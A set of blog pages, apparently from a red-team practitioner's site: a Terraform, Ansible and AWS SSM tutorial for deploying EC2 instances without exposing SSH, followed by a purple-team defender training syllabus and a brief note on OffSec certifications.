* Speed: Setting up infra is a matter of minutes, where manual configuration would take hours / days. This is time you can no longer afford to spend as a modern Red Team.
* Scalability: It's easy to upscale. E.g. deploying additional CDN domains to rotate in front of your C2 redirector is a matter of specifying the number.
* Cost management: We can define default instance types or usage plans in our code that fit the purpose of the infrastructure component to control costs of our environments. The risk of dangling/forgotten infrastructure also lowers, since we can tear down entire environments in one go.

When designing our own infrastructure automation project (Red Bastion) in 2020, I hit a major limitation: After deploying infrastructure with Terraform, SSH must be accessible to deploy the Ansible playbook. This implies you need to deploy a VPC with VPN or jump host first or give your instance a public IP address and expose SSH. The latter is not even an option if you have services that should not have a public IP.

This means I cannot simply deploy my entire Red Team VPC in one go, it with one VPN/jump box, wait for deployment to complete, configure my VPN client, connect, and then deploy stage 2 over VPN. Surely this also frustrates other people, so let's try to come up with an alternative.

## SSM Documents: AWS-ApplyAnsiblePlaybooks

Enter the AWS Systems Manager (SSM). According to the AWS documentation, the Systems manager enables you to manage your infrastructure:

> Systems Manager provides a unified user interface so you can view operational data from multiple AWS services and enables you to automate operational tasks across your AWS resources.

One of its features is that it allows you to run "[SSM Documents](https://docs.aws.amazon.com/systems-manager/latest/userguide/documents.html)", automation runbooks, on onboarded assets. [AWS-ApplyAnsiblePlaybooks](https://docs.aws.amazon.com/systems-manager/latest/userguide/systems-manager-state-manager-ansible.html) is such a runbook, which would fit our use case perfectly. It allows you to run an Ansible playbook from an s3 bucket locally on your asset.

At this point, the following questions arose:

1. Can we automatically package our playbook via terraform and upload it to s3?
2. What are the instance requirements?
3. How do we pass arguments to our Ansible playbook?

We will answer this and more in the following sections.

## Custom SSM Documents

Before we continue, the default SSM document comes with certain limitations which you would potentially like to overcome. For example, it only installs the ansible package as shown below. What if our playbook depends on Ansible collections?

```
sudo pip3 install ansible
```

{% hint style="info" %}
Instead of following the next steps, you could also copy our read-to-go json file from [GitHub](https://github.com/0xbad53c/Connectionless-Ansible-Deployment-with-Terraform-on-AWS/blob/main/ssm-document/Custom-ApplyAnsiblePlaybooksWithCollections.json). In that case, simply create a new SSM document and paste the json content there.
{% endhint %}

We can easily select the default playbook and clone it via the AWS console. Go to Systems Manager > Documents and search for "AWS-ApplyAnsiblePlaybooks". Select the automation runbook and click Actions > Clone document.

<figure><img src="https://2625624550-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhRzjBF3u8KpBWHCTCRNz%2Fuploads%2FXNvPRmFG9jWEtbOyjO3V%2Fimage.png?alt=media&amp;token=a01d408a-f3dc-4a5e-a679-a5cceb599e3f" alt=""><figcaption><p>Cloning the default runbook</p></figcaption></figure>

We can name the new runbook *Custom-ApplyAnsiblePlaybooksWithCollections*. Target Type can be left empty.

<figure><img src="https://2625624550-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhRzjBF3u8KpBWHCTCRNz%2Fuploads%2F0ntT41O4wxjxlUpDTJsI%2Fimage.png?alt=media&amp;token=bdbd102b-5eff-43a1-977d-706191d71c85" alt=""><figcaption><p>Custom runbook</p></figcaption></figure>

We can add an additional parameter *RequirementsFile*, to pass our playbook's requirements.yml file if the *InstallCollections* parameter is set to *"True"*.

```json
"InstallCollections": {
  "type": "String",
  "description": "(Optional) Whether to install ansible-galaxy collections.",
  "allowedValues": [
    "True",
    "False"
  ],
  "default": "False"
},
"RequirementsFile": {
  "type": "String",
  "description": "(Optional) Path to requirements.yml file",
  "default": "requirements.yml",
  "allowedPattern": "[(a-z_A-Z0-9\\-\\.)\/]+(.yml|.yaml)$"
},
```

Next, the following shell script can be added to the aws:runShellScript action to validate whether requirements.yml should be parsed.

```json
"if  [[ \"{{InstallCollections}}\" == True ]] ; then",
"   RequirementsFile=\"{{RequirementsFile}}\"",
"   if [ ! -f  \"${RequirementsFile}\" ] ; then",
"      echo \"The specified Requirements file doesn't exist in the downloaded bundle. Please review the relative path and file name.\" >&2",
"      exit 2",
"   fi",
"   ansible-galaxy install -r \"{{RequirementsFile}}\"",
"fi",
```

Congratulations! We now have our own *Custom-ApplyAnsiblePlaybooksWithCollections* SSM runbook. Keep in mind that this only exists in the region we created it. In this case, we are using eu-west-1. Therefore, we can only apply it to intances deployed in this region.

<div data-full-width="false"><figure><img src="https://2625624550-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhRzjBF3u8KpBWHCTCRNz%2Fuploads%2FaaVFICETMeROqiNvC1RO%2Fimage.png?alt=media&amp;token=76a5caa1-bd09-4486-9e86-d8140d4ebe85" alt=""><figcaption><p>Successfully created SSM Custom-ApplyAnsiblePlaybooksWithCollections runbook in eu-west-1</p></figcaption></figure></div>

## Packaging Ansible Playbooks

Next, we must come up with an approach to package our Ansible playbooks.

### Ansible folder structure

{% hint style="info" %}
The role we are about to create, can be found on [GitHub](https://github.com/0xbad53c/Connectionless-Ansible-Deployment-with-Terraform-on-AWS/tree/main/ansible/test-playbook).
{% endhint %}

At DXC Strikeforce, we decided to stay as close as possible to official Ansible role structure recommendations and centralise roles in git repositories. This generally corresponds to the following:

```bash
test_role/             # Top-level directory named after the role
├── defaults/          # Default variables for the role (lowest priority)
│   └── main.yml
├── files/             # Static files to be transferred to the target hosts
│   └── example_file.txt
├── handlers/          # Handlers, triggered by tasks
│   └── main.yml
├── meta/              # Metadata about the role (dependencies, author info)
│   └── main.yml
├── tasks/             # Main list of tasks to be executed by the role
│   └── main.yml
├── templates/         # Jinja2 templates to be populated with variables
│   └── example_template.j2
├── tests/             # Test playbooks for the role
│   ├── inventory      # Inventory file for testing
│   └── test.yml       # Test playbook
├── vars/              # Variables for the role (higher priority than defaults)
│   └── main.yml
└── README.md          # Documentation for the role
```

This approach allows us to recursively include the roles in playbook repositories calling them. E.g., if we  would like to apply multiple roles to an instance, we can simply create an Ansible playbook repository as follows:

```bash
test-playbook/               # Git repo of the playbook
├── roles/                   # Different roles to include recursively like above
│   └── test_role/
├── main.yml                 # main playbook, includes test_role
└── requirements.yml         # optional requirements if ansible-galaxy roles/collections
```

main.yml contents:

```yaml
---
- name: "Configure test"
  hosts: localhost
  roles:
    - test_role

```

### Pushing to s3 via Terraform

{% hint style="info" %}
The final Terraform code can be found on [GitHub](https://github.com/0xbad53c/Connectionless-Ansible-Deployment-with-Terraform-on-AWS).
{% endhint %}

Now that we have our Ansible playbook structure ready, we can try to push it to S3 via Terraform. Normally, we would develop separate Terraform modules and add them to our private registry, but for this proof of concept, we will add everything in one repository.

The following Terraform code will archive and upload the ansible directory of our project to s3 as ansible.zip. The Terraform code to achieve this is shown below.

#### **variables.tf**

```hcl
variable "path_to_ansible_folder" {
  description = "Path to the ansible from which to apply the main.yml playbook."
  type        = string
  default     = "ansible/test-playbook"
}

variable "s3_data_expiration_days" {
  description = "Amount of days to keep the uploaded data in s3. Should be 1 to limit storage cost."
  type        = number
  default     = 1
}

variable "s3_zip_object_key" {
  description = "Name of the s3 bucket object key of the zip file. Normally, this should be ansible.zip."
  type        = string
  default     = "ansible.zip"
}
```

#### **s3\_bucket.tf**

```hcl
// Create S3 bucket for ansible playbook sharing
locals {
  bucket_name_base          = lower(replace("${var.server_name}", "_", "-")) // replace _ with - and lowercase all to be accepted as bucket name
  bucket_name      = substr("${local.bucket_name_base}-${random_string.bucket_randomized.result}", 0, 63) // Add some randomization to bucket name
}

// random string to append to bucket name (prevents issues with destroy and rebuild)
resource "random_string" "bucket_randomized" {
  length  = 16
  special = false
  numeric = true
  upper   = false
}

// Create new s3 bucket
resource "aws_s3_bucket" "ansible" {
  bucket        = local.bucket_name
  force_destroy = true
}

// restrict public bucket access
resource "aws_s3_bucket_public_access_block" "ansible" {
  bucket = aws_s3_bucket.ansible.id

  block_public_acls       = true
  block_public_policy     = true
  ignore_public_acls      = true
  restrict_public_buckets = true
}

# Delete objects in bucket after 1 day
resource "aws_s3_bucket_lifecycle_configuration" "ansible" {
  bucket = aws_s3_bucket.ansible.id

  rule {
    id     = "expire-after-${tostring(var.s3_data_expiration_days)}-day"
    status = "Enabled"

    expiration {
      days = var.s3_data_expiration_days // expire bucket contents after one day
    }

    abort_incomplete_multipart_upload {
      days_after_initiation = var.s3_data_expiration_days // if upload failed, also expire data after 1 day
    }
  }
}
```

#### **upload\_ansible\_zip.tf**

```hcl
// archive ansible directory
// Every time a file changes in the ansible directory, the zip will be recreated
data "archive_file" "ansible_dir_zip" {
  type        = "zip"
  source_dir  = var.path_to_ansible_folder
  output_path = "${path.module}/${local.bucket_name}.zip" // avoid collisions with same module running for different instances
}

// upload ansible directory as zip
resource "aws_s3_object" "ansible_dir_zip" {
  bucket = aws_s3_bucket.ansible.id
  key    = var.s3_zip_object_key
  source = data.archive_file.ansible_dir_zip.output_path

  etag = filemd5(data.archive_file.ansible_dir_zip.output_path)
}

```

If we execute the following, Terraform connects to the AWS API to deploy the resources in EC2.

```bash
terraform init
terraform plan
terraform apply
```

<figure><img src="https://2625624550-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhRzjBF3u8KpBWHCTCRNz%2Fuploads%2FPzg3g1iDjJfUoRAFatg3%2Fimage.png?alt=media&amp;token=ddbe8bba-3459-4840-8e6c-6d81d766539c" alt=""><figcaption><p>Successful deployment of the s3 bucket</p></figcaption></figure>

We can check the bucket content via the AWS console to confirm our zip file was indeed uploaded.

<figure><img src="https://2625624550-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhRzjBF3u8KpBWHCTCRNz%2Fuploads%2F7rz5LnRwNcd69WCME6Cf%2Fimage.png?alt=media&amp;token=74a7ba7c-4968-4630-a951-bce30e007efb" alt=""><figcaption><p>Successfully uploaded zip</p></figcaption></figure>

Bonus: If we would like to update the playbook at any time we can simply change the contents and type `terraform apply` again. The s3 ansible.zip object will automatically be updated. This allows us a simple method to re-apply a playbook to a previously deployed machine.

## EC2 Instance Deployment

At this point, we completed the following items:

* Successfully created a custom SSM Document automation runbook *Custom-ApplyAnsiblePlaybooksWithCollections* to run complex Ansible playbooks from s3 bucket.
* Automated uploading a local Ansible playbook to S3 via Terraform.

The next steps would be to:

1. Deploy an EC2 instance with Terraform.
2. Create and assign the correct EC2 instance role to:
   1. Onboard the instance to SSM.
   2. Access the created S3 bucket.
3. Apply the *Custom-ApplyAnsiblePlaybooksWithCollections* to the instance via SSM, triggering the Ansible playbook to execute.

### Deploy EC2 Instance

Deploying an EC2 instance is both straightforward and well-documented, so we will spend limited time explaining the steps. For our purpose, we will use the following AMI:

```
ubuntu/images/hvm-ssd/ubuntu-jammy-22.04-amd64-server-20240701
ami-0932dacac40965a65
```

This default build of Ubuntu server 22.04 comes with Amazon SSM Agent preinstalled, saving us the hassle of pushing it to the image ourselves. We can go with the cheapest t3a.nano and 8GB of EBS storage, since we do not need much computing power for our purpose.&#x20;

We will also use data sources to convert VPC and subnet name variables to corresponding IDs, but you could also use the IDs directly.  Most of the settings will be defined as defaults in variables.tf.

#### variables.tf

```hcl
// EC2 instance
variable "vpc_name" {
  description = "Name of the VPC."
  type        = string
}

variable "server_name" {
  description = "Name of the server."
  type        = string
}

variable "instance_type" {
  description = "Aws EC2 instance type to use."
  default     = "t3a.nano"
  type        = string
}

variable "subnet_name" {
  description = "Name of the subnet to deploy the machine in."
  type        = string
}

variable "ebs_volume_size" {
  description = "EBS size in GB."
  type        = number
  default     = 8
}

variable "delete_ebs_on_termination" {
  description = "Whether to delete the volume on termination. True avoids costs and destroys data after tearing down the environment."
  type        = bool
  default     = true
}

variable "source_dest_check" {
  description = "Whether to set the source_dest_check to enable IP forwarding in AWS. Set to false for VPN server."
  type        = bool
  default     = true
}
variable "private_ip" {
  description = "Private IP address to set. Leave blank to let AWS decide."
  type        = string
  default     = ""
}

variable "ssh_key_local_directory" {
  description = "Directory to store the SSH key."
  type        = string
  default     = "./ssh_keys"
}

// use AMI with Amazon SSM Agent preinstalled
// e.g. Ubuntu server 22.04
variable "ami" {
  description = "AWS AMI to deploy"
  type        = string
  default     = "ami-0932dacac40965a65" // Do not update build on actively used instances or machine will be destroyed
}
```

#### main.tf

I have the habit of storing some common resources in the main.tf file. This is just a personal preference.

```hcl
// fetch the vpc id based on the vpc name
data "aws_vpc" "target_vpc" {
  filter {
    name   = "tag:Name"
    values = [var.vpc_name]
  }
}

// fetch the subnet id based on the subnet name
data "aws_subnet" "target_subnet" {
  vpc_id = data.aws_vpc.target_vpc.id

  filter {
    name   = "tag:Name"
    values = [var.subnet_name]
  }
}
```

#### security\_group.tf

Our security group will only contain egress rules. Inbound SSH is not required as we will use SSM to push an Ansible playbook to the instance.

```hcl
// Create the security group
resource "aws_security_group" "ansible_instance" {
  name        = "${var.server_name}_security_group"
  description = "Security group created by Red Bastion"
  vpc_id      = data.aws_vpc.target_vpc.id
}

// no ingress required
// egress can be further restricted to only include egress
// ansible galaxy connections & AWS SSM API connections should be allowed
// The followign allows full egress, but only on ports 53 UDP, 80 & 443 TCP
resource "aws_vpc_security_group_egress_rule" "dns" {
  security_group_id = aws_security_group.ansible_instance.id

  cidr_ipv4   = "0.0.0.0/0"
  from_port   = 53
  ip_protocol = "udp"
  to_port     = 53
}

resource "aws_vpc_security_group_egress_rule" "http" {
  security_group_id = aws_security_group.ansible_instance.id

  cidr_ipv4   = "0.0.0.0/0"
  from_port   = 80
  ip_protocol = "tcp"
  to_port     = 80
}

resource "aws_vpc_security_group_egress_rule" "https" {
  security_group_id = aws_security_group.ansible_instance.id

  cidr_ipv4   = "0.0.0.0/0"
  from_port   = 443
  ip_protocol = "tcp"
  to_port     = 443
}
```

#### ssh\_keypair.tf

Just to be safe, we will create an SSH keypair for the instance. This will be our backup key in case the connection with the Amazon Systems Manager is broken somehow.

```hcl
// Generate private key in case we want to authenticate via SSH (should not happen)
// E.g. as backup in case amazon-ssm-agent crashes
resource "tls_private_key" "ssh" {
  algorithm = "RSA"
  rsa_bits  = 4096
}

// write the key to local disk. Can be omitted 
resource "local_file" "foo" {
  content  = tls_private_key.ssh.private_key_pem
  filename = "${var.ssh_key_local_directory}/${var.server_name}.pem"
}

// Add public key to AWS
resource "aws_key_pair" "ssh" {
  key_name   = "ssh_${var.server_name}"
  public_key = tls_private_key.ssh.public_key_openssh
}

```

#### ec2\_instance.tf

```hcl
// Create EC2 ec2_instance instance
resource "aws_instance" "ec2_instance" {
  tags = {
    Name = "${var.server_name}"
  }

  root_block_device {
    delete_on_termination = var.delete_ebs_on_termination
    volume_size           = var.ebs_volume_size
    volume_type           = "gp2"

    tags = {
      Name = "${var.server_name}_ebs"
    }
  }

  ami                    = var.ami
  instance_type          = var.instance_type
  key_name               = aws_key_pair.ssh.key_name
  vpc_security_group_ids = [aws_security_group.ansible_instance.id]
  subnet_id              = data.aws_subnet.target_subnet.id
  
  // this will come in to play after adding the instance role
  // leave it out if you would like to deploy an instance without any role
  iam_instance_profile   = aws_iam_instance_profile.ssm_s3.name // Enable SSM and s3 role for instance
  source_dest_check      = var.source_dest_check

  // optionally set a static IP
  private_ip = var.private_ip == "" ? null : var.private_ip

  // disable AWS metadata v1 (unauthenticated)
  // to improve security
  metadata_options {
    http_endpoint = "enabled"
    http_tokens   = "required"
  }
}
```

#### Execution

We can now run our terraform code to deploy our EC2 instance.

```
terraform init
terraform plan
terraform apply
```

<figure><img src="https://2625624550-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhRzjBF3u8KpBWHCTCRNz%2Fuploads%2FoLlLewcpAxshUXaISopy%2Fimage.png?alt=media&amp;token=6959c794-1718-443a-80b4-52c453f973ed" alt=""><figcaption><p>Successful deployment</p></figcaption></figure>

### SSM & S3 Instance Role

Next, we should create and assign an EC2 instance role to onboard the machine to SSM, which would enable it to communicate with the Systems Manager. This will allow us to apply SSM documents to the EC2 instance. The role should also be able to read the ansible.zip file from our automatically created s3 bucket.

#### iam\_role.tf

The minimal privileges to onboard an instance to SSM are defined in the default AWS arn:aws:iam::aws:policy/AmazonSSMManagedInstanceCore IAM policy. If we attach this policy and a custom S3 policy, we fulfilled the requirements.

We will also grant the s3:PutObject permission on the S3 bucket to allow the machine to upload data as well. This can be useful in case we would like to collect logs or files later on.

```hcl
locals {
  iam_role_base = lower(replace("${var.server_name}", "_", "-")) // replace _ with - and lowercase all to be accepted as bucket name
}

// Create SSM Role that allows ansible to configure the machine
// EC2 instance should be able to assume the role
resource "aws_iam_role" "ssm_s3" {
  name = substr("${local.iam_role_base}_ssm_s3_role", 0, 63) // name can only be 64 chars max

  assume_role_policy = jsonencode({
    Version = "2012-10-17"
    Statement = [
      {
        Action = "sts:AssumeRole"
        Effect = "Allow"
        Principal = {
          Service = "ec2.amazonaws.com"
        }
      }
    ]
  })
}

// attach default recommended SSM policy to new role
// Instance with this role is now onboarded to SSM
resource "aws_iam_role_policy_attachment" "ssm_role_policy" {
  policy_arn = "arn:aws:iam::aws:policy/AmazonSSMManagedInstanceCore"
  role       = aws_iam_role.ssm_s3.name
}

// also allow access to s3 bucket that shares files with instance
resource "aws_iam_policy" "s3_bucket_policy" {
  name = "${local.iam_role_base}_s3_bucket_policy"
  policy = jsonencode({
    Version = "2012-10-17"
    Statement = [
      {
        Action   = ["s3:Get*", "s3:List*", "s3:PutObject"]
        Effect   = "Allow"
        Resource = "arn:aws:s3:::${local.bucket_name}/*"
      }
    ]
  })
}

// attach policy to same role
resource "aws_iam_role_policy_attachment" "s3_role_policy" {
  policy_arn = aws_iam_policy.s3_bucket_policy.arn
  role       = aws_iam_role.ssm_s3.name
}

// create profile to use to assign role to ec2 instance
resource "aws_iam_instance_profile" "ssm_s3" {
  name = "${local.iam_role_base}_ssm_profile"
  role = aws_iam_role.ssm_s3.name
}
```

### Apply Playbook

All that is left now is to apply the *Custom-ApplyAnsiblePlaybooksWithCollections* to the instance via SSM, triggering the Ansible playbook to be downloaded and executed. This should create /hello-world.txt on the target instance.

#### variables.tf

```hcl
// push additional extra_vars as map
variable "ansible_extra_vars" {
  description = "List of key-value pairs of variables to pass to ansible"
  type        = map(string)
}
```

#### ssm\_ansible\_playbook.tf

<pre class="language-hcl"><code class="lang-hcl">locals {
  ansible_extra_vars_string = join(" ", [for k, v in var.ansible_extra_vars : "${k}=${v}"])
}
<strong>
</strong><strong>// Associate the document with the instance
</strong>// Uses a custom version of AWS-ApplyAnsiblePlaybooks (ApplyAnsiblePlaybooksWithCollections) to also install dependencies with ansible-galaxy
resource "aws_ssm_association" "ansible_playbook_association" {
  name             = "Custom-ApplyAnsiblePlaybooksWithCollections" //based on AWS-ApplyAnsiblePlaybooks
  association_name = "${var.server_name}_playbook_association"

  // targets to run the document on
  targets {
    key    = "InstanceIds"
    values = [aws_instance.ec2_instance.id]

  }

  parameters = {
    SourceType = "S3"
    SourceInfo = jsonencode({
      path = "https://s3.amazonaws.com/${aws_s3_bucket.ansible.id}/ansible.zip"
    })

    // We can use ExtraVariables to pass parameters to the playbook 
    // always include etag to retrigger playbook apply on change of playbook
    // always include s3bucket if you would like to upload custom data
    ExtraVariables      = "SSM=True ${local.ansible_extra_vars_string} s3bucket=${aws_s3_bucket.ansible.id} s3_object_etag=${aws_s3_object.ansible_dir_zip.etag}"
    InstallDependencies = "True"             // if Ansible must still be installed, should be True in most cases unles using own image with Ansible preinstalled
    InstallCollections  = "False"            // can toggle to install ansible-galaxy dependencies
    RequirementsFile    = "requirements.yml" // where to install dependencies from. Should be in the root on ansible.zip
    PlaybookFile        = "main.yml"         // should be in the root on ansible.zip
  }

  // output logs to bucket
  // This means putObject is needed
  output_location {
    s3_bucket_name = aws_s3_bucket.ansible.id
  }

  automation_target_parameter_name = "InstanceId"
  max_concurrency                  = "1"
  max_errors                       = "0"
}
</code></pre>

### Execution

After expanding our Terraform project with the SSM association, we can apply the changes. We should not forget to add ansible\_extra\_vars to ensure we can pass parameters to our script.

```hcl
ansible_extra_vars = {
    testparameter = "test"
}
```

```
terraform init
terraform plan
terraform apply
```

<figure><img src="https://2625624550-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhRzjBF3u8KpBWHCTCRNz%2Fuploads%2FkYoHLvJ6jWawZh6mfNON%2Fimage.png?alt=media&amp;token=0f33b684-eafd-4e03-8a98-5e37c6cd263f" alt=""><figcaption><p>Successful Terraform apply</p></figcaption></figure>

Next, we can validate successfull application via the State Manager.

<figure><img src="https://2625624550-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhRzjBF3u8KpBWHCTCRNz%2Fuploads%2F2aAijuNzCPf4YRLK8Aa4%2Fimage.png?alt=media&amp;token=051ca34f-9d88-43f3-b186-e33d94db58fd" alt=""><figcaption><p>Successful SSM document association</p></figcaption></figure>

Additionally, we can start a session via SSM via Fleet Manager and check if the file was indeed added. If we monitor the root directory, we can observe the moment /hello\_world.txt is written with the value "hello test" as specified in our Ansible playbook.

<figure><img src="https://2625624550-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhRzjBF3u8KpBWHCTCRNz%2Fuploads%2FXE59gyI02oGIKXEnSrrg%2Fimage.png?alt=media&amp;token=3d111331-2f40-4e29-a6c8-f007ef94bf6e" alt=""><figcaption><p>Successfully wrote hello_world.txt via Ansible</p></figcaption></figure>

## Conclusion

Success! We successfully managed to deploy a fresh Ubuntu 22.04 LTS EC2 instance and applied an Ansible role through a playbook with parameters without exposing SSH! This can now easily be replicated to automatically spin up entire private environments from anywhere in the world, without any direct connection.

## Troubleshooting

If your machine is not showing up in SSM, I've found that it's usually one of these:

* Egress traffic does not allow comms with AWS SSM API
* SSM instance role not applied correctly
* Deployed VM in a public subnet but forgot to assign a public IP.
* Chose an AMI that does not have Amazon SSM Agent preinstalled

### Ansible Playbook Execution

Your ansible.zip will be expanded under `/var/lib/amazon/ssm/<instanceid>/document/orchestration/<orchestrationid>/downloads`. When troubleshooting playbook execution, we usually go into this directory and execute manually with the appropriate extra vars.

```bash
ansible-playbook main.yml -e "extra_vars1=value1 extravars2=value2"
```

## Known Limitations

Passing extra vars via SSM documents can be a bit tricky, as certain characters are not allowed. A workaround could be to pass a config.json inside the files directory of the Ansible role or use the vars directory to pass parameters and large values.


# Operational Purple Teaming for Defenders

Cybersecurity Training through Attack Simulation

## Training Description

{% file src="/files/Az2C2kCfvG13ioXOewaJ" %}

This hands-on training connects red and blue in a series of live attack-defense exercises and demos. The group of participants will work as one team against a simulated threat actor, APT 0x00, with full disclosure of the attacker’s progress and technical insights on the executed techniques. The adversary’s capability and stealth will steadily improve over the course of the training.

Participants are dropped in a simulated corporate network environment, which they must defend from a threat actor over the course of the training. The attacker is simulated by a red team specialist, who will share valuable insights about commonly used threat actor techniques used in the attack. Together with a blue team instructor, you will learn how to hunt for these techniques, build detections that can help defend your organization and eradicate the attacker. Examples of covered techniques we will learn how to hunt for:

* Webshells.
* Process Injection.
* Credential dumping from LSASS.
* Lateral Movement via Service Execution.
* In-memory C# assembly execution.
* Persistence.
* Kerberoasting.
* AD Enumeration via BloodHound.
* Resource-Based Constrained Delegation Attacks.
* Headless RDP.

### Day 1

The first day focuses on threat hunting and detection engineering. APT 0x00 kicks off a campaign to breach the corporate Active Directory environment. The attacker relies on a mix of [Metasploit](https://www.metasploit.com) and [Sliver Command and Control](https://github.com/BishopFox/sliver) to infiltrate the environment. Participants will learn how to collect telemetry on specific techniques and build detections.

The red team instructor will provide insights on the red team side during regular purple team meetings. This input enables the detection engineering process, where new detection rules are created in collaboration with the training participants. The blue team will use defensive security tools such as [Elastic stack with security](https://www.elastic.co) (EDR), with additional log sources from [Sysmon](https://learn.microsoft.com/en-us/sysinternals/downloads/sysmon) and [Velociraptor](https://github.com/Velocidex/velociraptor) for incident response.

The red team instructor simulates APT 0x00 and provides technical insights in the attacker techniques. The blue team instructor provides insight in detection. The goal of this day is to learn how to detect specific attack techniques. Topics covered include:

* Introduction to the lab environment.
  * Machines.
  * Networks.
  * Elastic (SIEM) with security detection rules and additional log sources:
    * Sysmon.
    * PowerShell logs.
    * Application logs.
  * Elastic Agent with Security in detection mode (Free EDR).
  * Velociraptor for artifact collection and live incident response.
* Testing VPN connection.
* Preparation and introduction to the exercise.
* Introduction to red teaming.
* Introduction to Command and Control.
* Purple Teaming: Attacker techniques, threat hunting & detection engineering:
  * Establishing a foothold in the lab via exploitation.
  * BloodHound and active directory attacks.
  * Process Injection.
  * In-memory C# assembly execution.
  * Credential dumping.
  * Persistence.
  * Lateral movement.
  * …
* Lessons learned.

### Day 2

Day two adds a live incident response component to the training. APT 0x00 becomes more advanced and initiates a new campaign against the lab environment overnight. Students join the blue team side during the aftermath of the attack. Students retrace the attacker’s steps and learn to eradicate the attacker from the environment.

The red team instructor simulates a more advanced version of APT 0x00 and provides technical insights in the attacker techniques. During the day, students are guided by the blue team instructor to reconstruct the timeline of a pre-executed attack. The goal of this day is to identify and eradicate the attacker based on knowledge from day 1.

* Preparation and introduction to the exercise.
* Anomaly detection in the lab environment.
* Investigating alerts and IoCs to discover underlying techniques.
* Purple Teaming: More advanced attacker techniques, threat hunting & detection engineering.
* &#x20;Live response to the ongoing attack.
* Eradication of the threat actor in the environment.
* Lessons learned.

### Day 3

On the final day, the threat actor reaches its peak performance with maximum stealth. The threat actor added a new Command and Control framework to the mix (Havoc) and focused on more complex implementations of some of the previously identified attacker techniques. The attacker has a solid presence in the network. Access to the same defensive tooling (Elastic incl. Security, Velociraptor) will be granted to the students to identify and stop the attacks as the threat actor progresses through the environment. The defenders will have to use their knowledge from the previous two days to detect the attacker and eradicate his footholds. Can the adversary be stopped before it reaches its goals?

The red team instructor simulates the stealthiest version of APT 0x00 and provides technical insights in the attacker techniques. During the day, students are guided by the blue team instructor to track and stop the live ongoing threat actor campaign. The goal of this day is to stop the threat actor before it reaches its goals.

* Preparation and introduction to the exercise.
* Identification and elimination of attacker footholds.
* Identifying anomalies in the lab environment.
* Investigating alerts and IoCs to discover underlying techniques.
* Purple Teaming: More advanced attacker techniques, threat hunting & detection engineering.
* Live response to the ongoing attack.
* Eradication of the threat actor in the environment.
* Lessons learned.

Throughout all days, the red team specialist discloses technical details about the executed techniques. The attack can also be followed via Vectr ([https://docs.vectr.io](https://docs.vectr.io/)) to make it easier to hunt for certain activities. All days culminate in a lessons-learned moment. Every day, there are B33R objectives where participants can earn some top-quality Belgian beers. During the evenings, participants have the option to continue playing around in the lab.

## Target Audience

This technical training is intended for IT professionals who want to expand their knowledge on red teaming, threat hunting and detection engineering. Students will combat a live ongoing cyberattack and experience hands-on how a meaningful collaboration between offensive and defensive security teams can improve an organization’s defensive capabilities against real threat actors. The target audience includes:

* Cyber Security Professionals
* Threat Hunters
* Incident Handlers
* SOC Analysts
* Detection Engineers
* IT Professionals with an interest in technical cyber security

We cover a range of simple to more complex attack techniques. Beginners and more advanced professionals will get the most from the course.

## Type

This is a 3-day technical training, which can be stretched in a 5-day course to accomodate the audience.

## Requirements

Students should be able to participate with their own OS, if it supports Wireguard VPN and has a web browser on board. It is recommended to use a Linux virtual machine with a desktop environment to participate in the training.

**Organization:**

* One room, equipped with a projector and screen.
* A stable internet connection for all students as our lab is in AWS.

## Previously Hosted / Planned

* **Thomas More University Belgium (November-December 2024)**: Simplified version delivered during"Hacking Advanced" courses for 3rd bachelors where students would join the red team in attacking a lab environment (2 days), the blue team in defending the environment (2 days) and battle each other on the final 2 days.
* **BruCON 0x10 (September 2024):** Organized as the 3-day Operational Purple Teaming for Defenders training. Participants join only on the defensive side.
* **X33fCON (June 2024):** Built on the experience from BruCON and Thomas More, the training was recreated to focus on the defensive side. Organized as the 3-day Operational Purple Teaming for Defenders training. Participants join only on the defensive side.
* **Thomas More University Belgium (November-December 2023)**: Simplified version delivered during"Hacking Advanced" courses for 3rd bachelors where students would join the red team in attacking a lab environment (2 days), the blue team in defending the environment (2 days) and battle each other on the final 2 days.
* **Thomas More University Belgium (November-December 2022)**: Simplified version delivered during"Hacking Advanced" courses for 3rd bachelors where students would join the red team in attacking a lab environment (2 days), the blue team in defending the environment (2 days) and battle each other on the final 2 days.
* **BruCON 0x0D (September 2022):** Organized as Red <3 Blue: Attack-Defense Purple Team Training. Participants joined both the offensive and defensive side.
* **Internal audience at DXC Technology (March 2022):** Participants joined both the offensive and defensive side.
* **Thomas More University Belgium (November-December 2021)**: Simplified version delivered during"Hacking Advanced" courses for 3rd bachelors where students would join the red team in attacking a lab environment (2 days), the blue team in defending the environment (2 days) and battle each other on the final 2 days.
* **Thomas More University Belgium (November-December 2020)**: Simplified version delivered during"Hacking Advanced" courses for 3rd bachelors where students would join the red team in attacking a lab environment (2 days), the blue team in defending the environment (2 days) and battle each other on the final 2 days.


# Offensive Security

Personal reviews on Offensive Security courses & certifications.

I Like Offensive Security certifications for several reasons:

* Practical exams;
* Not as expensive as e.g. SANS;
* TryHarder mentality;
* Lifetime validity: There are things to say about the downside of this, but it is better than spending $$$ every 3 years to get renewed;


# OSED

Offensive Security Exploit Developer

I purchased the [EXP-301 Windows User Mode Exploit Development course](https://www.offensive-security.com/exp301-osed/) near the end of December 2021, to prepare for the Offensive Security Exploit Developer (OSED) certification exam. This certification was the final one of the three required (OSWE, OSEP and OSED) to achieve the next-gen Offensive Security Certified Expert (OSCE3).

My amazing journey started 3 years ago with the OSWE certification. Countless hours of study and three 48-hour exams later, I am proud to have completed all three required certifications (OSWE, OSEP and OSED) to earn this title!

